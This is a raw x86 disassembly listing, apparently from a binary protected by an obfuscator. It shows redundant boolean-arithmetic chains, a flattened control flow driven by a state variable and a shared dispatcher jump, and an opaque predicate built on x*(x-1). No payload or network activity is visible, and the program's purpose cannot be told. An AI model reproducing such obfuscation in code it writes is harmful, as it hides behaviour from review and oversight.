mov bl, 1
xor bl, 0
mov bh, dh
and bh, 0
and al, bl
mov byte [ebp - 0xab1], al
mov al, byte [ebp - 0xaae]
and al, 0
mov byte [ebp - 0xab0], al
mov al, byte [ebp - 0xab1]
and cl, bl
or bh, al
mov al, byte [ebp - 0xab0]
or al, cl
mov cl, byte [ebp - 0xaaf]
xor bh, al
mov al, byte [ebp - 0xaae]
or dh, al
mov al, byte [ebp - 0xaad]
xor dh, 0xff
or bl, 0
and dh, bl
or bh, dh
mov bl, al
and bl, dl
xor al, dl
or bl, al
mov dl, bh
xor dl, 0xff
and dl, 0
mov al, 1
xor al, 0
and bh, al
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, al
mov al, byte [ebp - 0xaac]
or dl, bh
or dh, bl
xor dl, dh
mov byte [ebp - 0xaa9], dl
mov dl, al
xor dl, 0xff
mov bh, cl
xor bh, 0xff
mov bl, 1
xor bl, 1
mov dh, dl
and dh, 0xff
and al, bl
mov byte [ebp - 0xaab], al
mov al, bh
and al, 0xff
mov byte [ebp - 0xaaa], al
mov al, byte [ebp - 0xaab]
and cl, bl
or dh, al
mov al, byte [ebp - 0xaaa]
or al, cl
mov cl, byte [ebp - 0xaa9]
xor dh, al
mov al, byte [ebp - 0xaa8]
or dl, bh
xor dl, 0xff
or bl, 1
and dl, bl
or dh, dl
mov dl, dh
xor dl, 0xff
and dl, 1
mov bl, 1
xor bl, 1
and dh, bl
or dl, dh
mov dh, al
and dh, 1
xor al, 1
or dh, al
xor dh, 0xff
mov al, dl
xor al, dh
and al, dl
mov dl, cl
xor dl, 0xff
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
mov bh, dl
and bh, 0
mov byte [ebp - 0xaa7], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xaa5], al
mov al, byte [ebp - 0xaa7]
or al, cl
mov cl, byte [ebp - 0xaa6]
mov byte [ebp - 0xaa4], al
mov al, byte [ebp - 0xaa5]
or bh, al
mov al, byte [ebp - 0xaa4]
xor al, bh
or dl, bl
xor dl, 0xff
or dh, 0
and dl, dh
or al, dl
mov byte [ebp - 0xaa1], al
mov dh, ah
xor dh, 0xff
and dh, 1
mov dl, 1
xor dl, 1
mov bl, ah
and bl, dl
mov al, 1
xor al, 1
and al, 0xff
and dl, 1
or dh, bl
or al, dl
xor dh, al
mov dl, 1
xor dl, 0
xor dh, 0xff
mov al, 1
xor al, 0
or dl, dh
or al, 0
xor dl, 0xff
and dl, al
mov bl, 1
xor bl, 0
and bl, 1
mov bh, 1
xor bh, 1
mov al, bh
and al, 0
mov dh, 1
xor dh, 1
and dh, 0xff
and bh, 1
or bl, al
mov al, byte [ebp - 0xaa1]
or dh, bh
xor bl, dh
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov dh, 1
xor dh, 1
or ah, bh
or dh, 1
xor ah, 0xff
and ah, dh
mov bh, al
xor bh, 0xff
and bh, 1
mov dh, 1
xor dh, 1
and al, dh
mov byte [ebp - 0xaa3], al
mov al, 1
xor al, 1
and al, 0xff
mov byte [ebp - 0xaa2], al
mov al, byte [ebp - 0xaa3]
and dh, 1
or bh, al
mov al, byte [ebp - 0xaa2]
or al, dh
xor bh, al
xor bh, 0xff
mov al, 1
xor al, 0
mov dh, 1
xor dh, 1
or bh, al
mov al, byte [ebp - 0xaa1]
or dh, 1
xor bh, 0xff
and bh, dh
xor al, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or al, bl
or dh, 0
xor al, 0xff
and al, dh
mov dh, dl
and dh, ah
xor dl, ah
or dh, dl
mov ah, bh
xor ah, 0xff
mov byte [ebp - 0xa9e], ah
mov bl, al
xor bl, 0xff
mov dl, 1
xor dl, 1
and ah, 0xff
and bh, dl
mov byte [ebp - 0xaa0], bh
mov bh, bl
and bh, 0xff
and al, dl
mov byte [ebp - 0xa9f], al
mov al, byte [ebp - 0xaa0]
or ah, al
mov al, byte [ebp - 0xa9f]
or bh, al
mov al, byte [ebp - 0xa9e]
xor ah, bh
or al, bl
xor al, 0xff
or dl, 1
and al, dl
or ah, al
mov dl, dh
xor dl, 0xff
and dl, 0
mov bl, 1
xor bl, 0
and dh, bl
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
or dl, dh
or al, ah
xor dl, al
mov bh, cl
xor bh, 0xff
and bh, 1
mov ah, 1
xor ah, 1
mov dh, cl
and dh, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or bh, dh
or al, ah
xor bh, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
mov ah, ch
and ah, dh
or al, ah
mov byte [ebp - 0xa95], al
mov bl, 1
xor bl, 0
and bl, 1
mov dh, 1
xor dh, 1
mov ah, dh
and ah, 0
mov al, 1
xor al, 1
and al, 0xff
and dh, 1
or bl, ah
mov ah, byte [ebp - 0xa95]
or al, dh
xor bl, al
mov byte [ebp - 0xa97], bl
mov dh, 1
xor dh, 0
mov al, bh
xor al, dh
and al, bh
xor cl, 0xff
xor bl, 0xff
mov dh, 1
xor dh, 0
or cl, bl
or dh, 0
xor cl, 0xff
and cl, dh
xor ah, 0xff
mov dh, 1
xor dh, 0
mov bl, 1
xor bl, 1
or ah, dh
mov dh, byte [ebp - 0xa97]
or bl, 1
xor ah, 0xff
and ah, bl
mov byte [ebp - 0xa9a], ah
xor dh, 0xff
mov ah, ch
xor ah, dh
and ah, ch
mov byte [ebp - 0xa9b], ah
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 1
mov ch, ah
and ch, 0xff
and al, dh
mov byte [ebp - 0xa9d], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xa9c], al
mov al, byte [ebp - 0xa9d]
and cl, dh
or ch, al
mov al, byte [ebp - 0xa9c]
or al, cl
mov cl, byte [ebp - 0xa9b]
xor ch, al
mov al, byte [ebp - 0xa9a]
or ah, bl
xor ah, 0xff
or dh, 1
and ah, dh
or ch, ah
mov ah, al
xor ah, 0xff
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0xa96], dh
mov bl, 1
xor bl, 0
mov dh, ah
and dh, 0
and al, bl
mov byte [ebp - 0xa99], al
mov al, byte [ebp - 0xa96]
and al, 0
mov byte [ebp - 0xa98], al
mov al, byte [ebp - 0xa99]
and cl, bl
or dh, al
mov al, byte [ebp - 0xa98]
or al, cl
mov cl, byte [ebp - 0xa97]
xor dh, al
mov al, byte [ebp - 0xa96]
or ah, al
mov al, byte [ebp - 0xa95]
xor ah, 0xff
or bl, 0
and ah, bl
or dh, ah
mov bl, ch
xor bl, 0xff
mov ah, dh
and ah, bl
xor dh, 0xff
and ch, dh
or ah, ch
mov byte [ebp - 0xa92], ah
mov ah, bh
xor ah, 0xff
mov dh, al
xor dh, 0xff
mov ch, 1
xor ch, 0
mov bl, ah
and bl, 0
and bh, ch
mov byte [ebp - 0xa94], bh
mov bh, dh
and bh, 0
and al, ch
mov byte [ebp - 0xa93], al
mov al, byte [ebp - 0xa94]
or bl, al
mov al, byte [ebp - 0xa93]
or bh, al
mov al, byte [ebp - 0xa92]
xor bl, bh
or ah, dh
xor ah, 0xff
or ch, 0
and ah, ch
or bl, ah
mov ah, bl
xor ah, 0xff
and ah, 1
mov dh, 1
xor dh, 1
and bl, dh
mov ch, 1
xor ch, 1
and ch, 0xff
and dh, 1
or ah, bl
or ch, dh
xor ah, ch
mov ch, cl
and ch, 0
xor cl, 0
or ch, cl
xor ch, 0xff
mov cl, ah
xor cl, ch
and cl, ah
mov bh, al
and bh, cl
xor al, cl
or bh, al
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, 1
xor ah, 1
mov ch, bh
and ch, ah
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, ch
or al, ah
xor cl, al
mov ch, 1
xor ch, 1
xor cl, 0xff
mov al, 1
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov cl, 1
xor cl, 1
and cl, 1
mov ah, 1
xor ah, 1
mov dh, ah
and dh, 1
mov al, 1
xor al, 1
and al, 0xff
and ah, 1
or cl, dh
or al, ah
xor cl, al
xor bh, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
xor al, 0xff
mov dh, bh
xor dh, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and ch, cl
mov bl, dh
and bl, 0
and bh, cl
or ah, ch
mov ch, byte [ebp - 0xa91]
or bl, bh
xor ah, bl
or al, dh
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov al, 1
xor al, 1
mov dh, ch
xor dh, 0xff
mov cl, 1
xor cl, 0
or al, dh
or cl, 0
xor al, 0xff
and al, cl
mov dh, 1
xor dh, 1
mov cl, ch
and cl, dh
xor ch, 0xff
and ch, 1
or cl, ch
mov dh, al
and dh, cl
xor al, cl
or dh, al
mov ch, dh
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, ah
xor cl, 0xff
and cl, 0
mov bl, 1
xor bl, 0
mov dh, ah
and dh, bl
mov al, ch
xor al, 0xff
and al, 0
and ch, bl
or cl, dh
or al, ch
xor cl, al
xor cl, 0xff
xor ah, 0xff
mov al, 1
xor al, 1
or cl, ah
or al, 1
xor cl, 0xff
and cl, al
mov al, cl
xor al, 0xff
mov bl, dl
xor bl, al
and bl, dl
mov dh, dl
xor dh, 0xff
and dh, 0
mov ah, 1
xor ah, 0
and dl, ah
mov al, cl
xor al, 0xff
and al, 0
and cl, ah
or dh, dl
or al, cl
xor dh, al
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x38eaabf2
mov ecx, 0x7f1936ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1a8], eax
jmp 0x4b4ff5
mov dword [ebp - 0x1a8], 0x174194db
jmp 0x4b4ff5
mov eax, dword [ebp - 0x12c]
mov dword [eax], 4
mov dword [ebp - 0x1a8], 0xfbb72b57
jmp 0x4b4ff5
mov eax, dword [ebp - 0x128]
mov edi, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
and edx, 0xe0125fa0
mov ecx, 0xffffffff
xor ecx, 0xe0125fa0
mov esi, ecx
and esi, 0x40000000
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xe0125fa0
and ecx, 0xffffffff
or edx, esi
or eax, ecx
xor edx, eax
mov eax, 0xffffffff
xor eax, 0xad0f554f
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x609ed1e4
or eax, edx
or ecx, 0x609ed1e4
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0xc4c], eax
mov edx, 0xffffffff
xor edx, 0xad0f554f
and edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xad0f554f
or edx, eax
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov esi, edx
xor esi, 0xffffffff
mov eax, 0xffffffff
xor eax, 0xa16bdb1
or ecx, esi
or eax, 0xa16bdb1
xor ecx, 0xffffffff
and ecx, eax
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and ebx, 0xb4b91fac
mov esi, 0xffffffff
xor esi, 0xb4b91fac
mov eax, esi
and eax, 0xffffffff
mov dword [ebp - 0xc54], eax
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xb4b91fac
mov dword [ebp - 0xc50], eax
mov eax, dword [ebp - 0xc54]
and esi, 0xffffffff
or ebx, eax
mov eax, dword [ebp - 0xc50]
or eax, esi
xor ebx, eax
mov eax, 0xffffffff
xor eax, 0xad0f554f
mov esi, ebx
xor esi, eax
mov eax, dword [ebp - 0xc4c]
and esi, ebx
mov dword [ebp - 0xc3c], esi
xor edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0xffffffff
mov dword [ebp - 0xc38], edx
mov esi, eax
xor esi, 0xffffffff
mov dword [ebp - 0xc40], esi
mov ebx, ecx
xor ebx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb8092ae4
and esi, 0xb8092ae4
and eax, edx
mov dword [ebp - 0xc48], eax
mov eax, ebx
and eax, 0xb8092ae4
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0xc48]
and ecx, edx
or esi, eax
mov eax, dword [ebp - 0xc44]
or eax, ecx
mov ecx, dword [ebp - 0xc40]
xor esi, eax
mov eax, dword [ebp - 0xc3c]
or ecx, ebx
mov ebx, dword [ebp - 0xc38]
xor ecx, 0xffffffff
or edx, 0xb8092ae4
and ecx, edx
or esi, ecx
mov edx, eax
xor edx, 0xffffffff
mov dword [ebp - 0xc28], edx
xor ebx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xad9f0ab3
mov dword [ebp - 0xc2c], ecx
and edx, 0xad9f0ab3
and eax, ecx
mov ecx, dword [ebp - 0xc38]
mov dword [ebp - 0xc34], eax
mov eax, ebx
and eax, 0xad9f0ab3
mov dword [ebp - 0xc30], eax
mov eax, dword [ebp - 0xc2c]
and ecx, eax
mov eax, dword [ebp - 0xc34]
or edx, eax
mov eax, dword [ebp - 0xc30]
or eax, ecx
mov ecx, dword [ebp - 0xc2c]
xor edx, eax
mov eax, dword [ebp - 0xc28]
or eax, ebx
xor eax, 0xffffffff
or ecx, 0xad9f0ab3
and eax, ecx
or edx, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x4fca0bf2
mov ebx, 0xffffffff
xor ebx, 0x4fca0bf2
and esi, ebx
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x4fca0bf2
and edx, ebx
or eax, esi
or ecx, edx
xor eax, ecx
mov dword [ebp - 0xc24], eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
mov ecx, edi
and ecx, edx
or esi, ecx
mov ecx, 0xffffffff
xor ecx, 0x8ecd3348
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x636edede
or ecx, esi
or edx, 0x636edede
xor ecx, 0xffffffff
and ecx, edx
mov esi, 0xffffffff
xor esi, 0x8ecd3348
and esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffffffff
and edx, 0x8ecd3348
or esi, edx
mov ebx, esi
xor ebx, 0xffffffff
mov edx, edi
xor edx, ebx
and edx, edi
mov dword [ebp - 0xc20], edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xffffffff
mov ebx, 0xffffffff
xor ebx, 0xffffffff
and eax, ebx
or edx, eax
xor edx, 0xffffffff
mov eax, 0xffffffff
xor eax, 0x8ecd3348
mov ebx, 0xffffffff
xor ebx, 0xb834c8bb
or edx, eax
mov eax, dword [ebp - 0xc24]
or ebx, 0xb834c8bb
xor edx, 0xffffffff
and edx, ebx
mov ebx, dword [ebp - 0xc20]
mov dword [ebp - 0xc0c], edx
xor eax, 0xffffffff
xor esi, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x7fcac3
or eax, esi
or edx, 0x7fcac3
xor eax, 0xffffffff
and eax, edx
mov dword [ebp - 0xc08], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x4ad1fdc9
mov eax, edx
and eax, 0x4ad1fdc9
mov dword [ebp - 0xc1c], eax
and ecx, esi
mov eax, ebx
and eax, 0x4ad1fdc9
mov dword [ebp - 0xc18], eax
mov eax, dword [ebp - 0xc20]
and eax, esi
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xc1c]
or eax, ecx
mov ecx, dword [ebp - 0xc18]
mov dword [ebp - 0xc10], eax
mov eax, dword [ebp - 0xc14]
or ecx, eax
mov eax, dword [ebp - 0xc10]
xor eax, ecx
mov ecx, dword [ebp - 0xc0c]
or edx, ebx
mov ebx, dword [ebp - 0xc08]
xor edx, 0xffffffff
or esi, 0x4ad1fdc9
and edx, esi
or eax, edx
mov dword [ebp - 0xbf4], eax
mov edx, ecx
xor edx, 0xffffffff
xor ebx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xa69013ac
mov eax, edx
and eax, 0xa69013ac
mov dword [ebp - 0xc04], eax
and ecx, esi
mov eax, ebx
and eax, 0xa69013ac
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0xc08]
and eax, esi
mov dword [ebp - 0xc00], eax
mov eax, dword [ebp - 0xc04]
or eax, ecx
mov ecx, dword [ebp - 0xc00]
mov dword [ebp - 0xbf8], eax
mov eax, dword [ebp - 0xbfc]
or eax, ecx
mov ecx, dword [ebp - 0xbf8]
xor ecx, eax
mov eax, dword [ebp - 0xbf4]
or edx, ebx
xor edx, 0xffffffff
or esi, 0xa69013ac
and edx, esi
or ecx, edx
mov esi, eax
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
xor ecx, 0xffffffff
and eax, ecx
or edx, eax
mov esi, edi
xor esi, 0xffffffff
and esi, 0xf541c157
mov ecx, 0xffffffff
xor ecx, 0xf541c157
and edi, ecx
mov eax, 0xffffffff
xor eax, 0xffffffff
and eax, 0xf541c157
and ecx, 0xffffffff
or esi, edi
or eax, ecx
xor esi, eax
mov ecx, edx
xor ecx, 0xffffffff
mov eax, esi
and eax, ecx
xor esi, 0xffffffff
mov ecx, edx
and ecx, esi
or eax, ecx
xor eax, 0xffffffff
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x15695168
or eax, edx
or ecx, 0x15695168
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov dword [ebp - 0x1a8], 0xd1763ce1
jmp 0x4b4ff5
mov ecx, dword [0x6525dc]
mov eax, dword [0x6525d8]
mov edx, ecx
add edx, 0xe3625cc4
add edx, 0xb0832b04
sub edx, 0xe3625cc4
add edx, 0xfecd9257
add edx, 0xa8bb2ed4
sub edx, 0xfecd9257
add edx, 0x47116541
sub edx, 0xb0832b04
sub edx, 0x47116541
add edx, 0x8c8ab0f4
sub edx, 0x4ead23e3
sub edx, 0x8c8ab0f4
xor esi, esi
sub esi, 1
add edx, esi
sub edx, 0x1eef9af5
add edx, 0x4ead23e3
add edx, 0x1eef9af5
sub edx, 0xf105e65b
sub edx, 0xc2aa35d7
add edx, 0xf105e65b
xor esi, esi
sub esi, 0xa8bb2ed4
add edx, esi
sub edx, 0x75b68470
add edx, 0xc2aa35d7
add edx, 0x75b68470
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
mov byte [ebp - 0xce4], bl
cmp eax, 0xa
setl dl
mov byte [ebp - 0xcdc], dl
mov bh, bl
xor bh, 0xff
and bh, 1
mov cl, 1
xor cl, 1
mov al, bl
and al, cl
or bh, al
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov cl, 1
xor cl, 1
and cl, 1
mov al, 1
xor al, 1
and al, 1
or cl, al
xor bl, 0xff
xor cl, 0xff
mov al, 1
xor al, 0
or bl, cl
or al, 0
xor bl, 0xff
and bl, al
mov al, bh
xor al, 0xff
mov ch, bl
xor ch, 0xff
mov cl, 1
xor cl, 0
mov ah, al
and ah, 0
and bh, cl
mov dh, ch
and dh, 0
and bl, cl
or ah, bh
or dh, bl
xor ah, dh
or al, ch
xor al, 0xff
or cl, 0
and al, cl
or ah, al
mov ch, dl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, dl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov cl, 1
xor cl, 0
xor ch, 0xff
mov al, 1
xor al, 1
or cl, ch
or al, 1
xor cl, 0xff
and cl, al
mov bl, 1
xor bl, 0
and bl, 0
mov ch, 1
xor ch, 0
mov dh, ch
and dh, 0
mov al, 1
xor al, 1
and al, 0
and ch, 1
or bl, dh
or al, ch
xor bl, al
mov ch, bl
xor ch, 0xff
mov al, dl
xor al, ch
and al, dl
mov dl, 1
xor dl, 1
and dl, 0
mov dh, 1
xor dh, 0
mov bh, dh
and bh, 1
mov ch, 1
xor ch, 1
and ch, 0
and dh, 1
or dl, bh
or ch, dh
xor dl, ch
xor dl, 0xff
mov dh, 1
xor dh, 0
mov ch, 1
xor ch, 0
or dl, dh
or ch, 0
xor dl, 0xff
and dl, ch
mov ch, 1
xor ch, 1
xor bl, 0xff
mov dh, 1
xor dh, 1
or ch, bl
or dh, 1
xor ch, 0xff
and ch, dh
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0xceb], bh
mov bl, al
xor bl, 0xff
mov dh, 1
xor dh, 0
and bh, 0
mov byte [ebp - 0xcec], bh
and cl, dh
mov bh, bl
and bh, 0
and al, dh
mov byte [ebp - 0xcea], al
mov al, byte [ebp - 0xcec]
or al, cl
mov cl, byte [ebp - 0xceb]
mov byte [ebp - 0xce9], al
mov al, byte [ebp - 0xcea]
or bh, al
mov al, byte [ebp - 0xce9]
xor al, bh
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or al, cl
mov cl, dl
and cl, ch
xor dl, ch
or cl, dl
mov dl, al
xor dl, 0xff
mov bh, cl
and bh, dl
xor cl, 0xff
and al, cl
or bh, al
mov dl, 1
xor dl, 0
and dl, 1
mov al, 1
xor al, 1
and al, 0
or dl, al
mov al, 1
xor al, 1
xor dl, 0xff
mov cl, 1
xor cl, 1
or al, dl
or cl, 1
xor al, 0xff
and al, cl
mov byte [ebp - 0xce8], al
mov dh, 1
xor dh, 1
and dh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 1
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov dl, dh
xor dl, 0xff
xor dl, 0
and dl, 0
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov cl, bl
and cl, 1
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0xce8]
or ch, bl
xor al, ch
mov ch, 1
xor ch, 1
mov bl, al
xor bl, ch
and bl, al
mov al, 1
xor al, 1
xor dh, 0xff
mov ch, 1
xor ch, 0
or al, dh
or ch, 0
xor al, 0xff
and al, ch
mov ch, cl
and ch, dl
xor cl, dl
or ch, cl
mov dl, bl
xor dl, 0xff
mov byte [ebp - 0xce5], dl
mov dh, al
xor dh, 0xff
mov cl, 1
xor cl, 0
and dl, 0
and bl, cl
mov byte [ebp - 0xce7], bl
mov bl, dh
and bl, 0
and al, cl
mov byte [ebp - 0xce6], al
mov al, byte [ebp - 0xce7]
or dl, al
mov al, byte [ebp - 0xce6]
or bl, al
mov al, byte [ebp - 0xce5]
xor dl, bl
or al, dh
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov al, ch
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and ch, dh
mov cl, dl
xor cl, 0xff
and cl, 0xff
and dl, dh
or al, ch
or cl, dl
xor al, cl
mov byte [ebp - 0xcba], al
mov ch, ah
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dl, ah
and dl, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dl
or al, cl
xor ch, al
mov dh, 1
xor dh, 0
and dh, 1
mov cl, 1
xor cl, 1
mov dl, cl
and dl, 0
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or dh, dl
or al, cl
xor dh, al
mov al, 1
xor al, 1
and al, 1
mov bl, 1
xor bl, 1
mov cl, bl
and cl, 1
mov dl, 1
xor dl, 1
and dl, 0xff
and bl, 1
or al, cl
mov cl, byte [ebp - 0xce4]
or dl, bl
xor al, dl
mov dl, ch
and dl, dh
xor ch, dh
or dl, ch
mov dh, al
and dh, 1
xor al, 1
or dh, al
mov al, dl
xor al, 0xff
and al, 1
mov bl, 1
xor bl, 1
and dl, bl
mov ch, 1
xor ch, 1
and ch, 0xff
and bl, 1
or al, dl
mov dl, byte [ebp - 0xcba]
or ch, bl
xor al, ch
xor dh, 0xff
mov ch, al
xor ch, dh
and ch, al
mov al, cl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and cl, dh
or al, cl
mov cl, dl
xor cl, 0xff
and cl, 1
mov dh, 1
xor dh, 1
and dl, dh
or cl, dl
mov dl, 1
xor dl, 1
and dl, 1
mov dh, 1
xor dh, 1
and dh, 1
or dl, dh
mov byte [ebp - 0xce0], dl
mov dl, al
xor dl, 0xff
mov byte [ebp - 0xce1], dl
mov bl, cl
xor bl, 0xff
mov dh, 1
xor dh, 0
and dl, 0
and al, dh
mov byte [ebp - 0xce3], al
mov al, bl
and al, 0
mov byte [ebp - 0xce2], al
mov al, byte [ebp - 0xce3]
and cl, dh
or dl, al
mov al, byte [ebp - 0xce2]
or al, cl
mov cl, byte [ebp - 0xce1]
xor dl, al
mov al, byte [ebp - 0xce0]
or cl, bl
xor cl, 0xff
or dh, 0
and cl, dh
or dl, cl
mov cl, al
and cl, 1
xor al, 1
or cl, al
mov al, dl
xor al, 0xff
and al, 1
mov dh, 1
xor dh, 1
and dl, dh
or al, dl
xor cl, 0xff
mov dh, al
xor dh, cl
and dh, al
mov bl, 1
xor bl, 0
and bl, 1
mov al, 1
xor al, 1
and al, 0
or bl, al
mov dl, bh
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xcdf], al
mov cl, bh
and cl, al
mov al, bl
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xcde], al
mov al, byte [ebp - 0xcdf]
and bl, al
mov al, byte [ebp - 0xcde]
or dl, cl
mov cl, byte [ebp - 0xcdc]
or al, bl
xor dl, al
xor dl, 0xff
mov al, bh
xor al, 0xff
mov bl, 1
xor bl, 1
or dl, al
mov al, byte [ebp - 0xcba]
or bl, 1
xor dl, 0xff
and dl, bl
mov byte [ebp - 0xcd8], dl
mov bl, al
xor bl, 0xff
and bl, 1
mov dl, 1
xor dl, 1
and al, dl
or bl, al
mov al, cl
xor al, 0xff
and al, 1
mov byte [ebp - 0xcdd], al
mov al, 1
xor al, 1
and cl, al
mov dl, bl
xor dl, 0xff
and dl, 0xff
and bl, al
mov al, byte [ebp - 0xcdd]
or al, cl
mov cl, byte [ebp - 0xcdc]
or dl, bl
xor al, dl
xor cl, 0xff
mov bl, al
xor bl, cl
and bl, al
mov cl, ch
xor cl, 0xff
mov dl, dh
xor dl, 0xff
mov al, 1
xor al, 1
or cl, dl
or al, 1
xor cl, 0xff
and cl, al
mov dl, ch
xor dl, 0xff
and dl, 1
mov al, 1
xor al, 1
mov byte [ebp - 0xcdb], al
and ch, al
mov al, dh
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xcda], al
mov al, byte [ebp - 0xcdb]
and dh, al
mov al, byte [ebp - 0xcda]
or dl, ch
mov ch, byte [ebp - 0xcd8]
or al, dh
xor dl, al
mov al, cl
and al, dl
xor cl, dl
or al, cl
mov byte [ebp - 0xcc4], al
mov dl, ch
xor dl, 0xff
and dl, 0
mov cl, 1
xor cl, 0
and ch, cl
mov al, 1
xor al, 1
and al, 0
and cl, 1
or dl, ch
or al, cl
xor dl, al
mov ch, bl
xor ch, 0xff
and ch, 1
mov cl, 1
xor cl, 1
mov dh, bl
and dh, cl
mov al, 1
xor al, 1
and al, 0xff
and cl, 1
or ch, dh
or al, cl
xor ch, al
mov al, 1
xor al, 1
and al, 0
mov byte [ebp - 0xcd9], al
mov al, 1
xor al, 0
mov cl, al
and cl, 1
mov dh, 1
xor dh, 1
and dh, 0
and al, 1
mov byte [ebp - 0xcd7], al
mov al, byte [ebp - 0xcd9]
or al, cl
mov cl, byte [ebp - 0xcd8]
mov byte [ebp - 0xcd6], al
mov al, byte [ebp - 0xcd7]
or dh, al
mov al, byte [ebp - 0xcd6]
xor al, dh
mov byte [ebp - 0xcc7], al
mov al, 1
xor al, 1
mov dh, dl
xor dh, al
mov al, byte [ebp - 0xcc7]
and dh, dl
mov byte [ebp - 0xcd5], dh
xor cl, 0xff
xor al, 0xff
mov dh, 1
xor dh, 1
or cl, al
mov al, byte [ebp - 0xcd5]
or dh, 1
xor cl, 0xff
and cl, dh
mov byte [ebp - 0xcd4], cl
mov cl, 1
xor cl, 1
mov dh, ch
xor dh, cl
mov cl, byte [ebp - 0xcc7]
and dh, ch
mov byte [ebp - 0xcce], dh
xor cl, 0xff
mov dh, bl
xor dh, cl
mov cl, byte [ebp - 0xcd4]
and dh, bl
mov byte [ebp - 0xcd1], dh
mov bl, al
xor bl, 0xff
xor cl, 0xff
mov byte [ebp - 0xcd0], cl
mov cl, 1
xor cl, 1
mov byte [ebp - 0xccf], cl
mov dh, bl
and dh, 0xff
and al, cl
mov cl, byte [ebp - 0xcd4]
mov byte [ebp - 0xcd3], al
mov al, byte [ebp - 0xcd0]
and al, 0xff
mov byte [ebp - 0xcd2], al
mov al, byte [ebp - 0xccf]
and cl, al
mov al, byte [ebp - 0xcd3]
or dh, al
mov al, byte [ebp - 0xcd2]
or al, cl
mov cl, byte [ebp - 0xcd1]
xor dh, al
mov al, byte [ebp - 0xcd0]
or bl, al
mov al, byte [ebp - 0xccf]
xor bl, 0xff
or al, 1
and bl, al
mov al, byte [ebp - 0xcce]
or dh, bl
mov byte [ebp - 0xcc9], dh
mov bl, al
xor bl, 0xff
mov byte [ebp - 0xcca], bl
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0xccb], dh
mov dh, 1
xor dh, 1
and bl, 0xff
and al, dh
mov byte [ebp - 0xccd], al
mov al, byte [ebp - 0xccb]
and al, 0xff
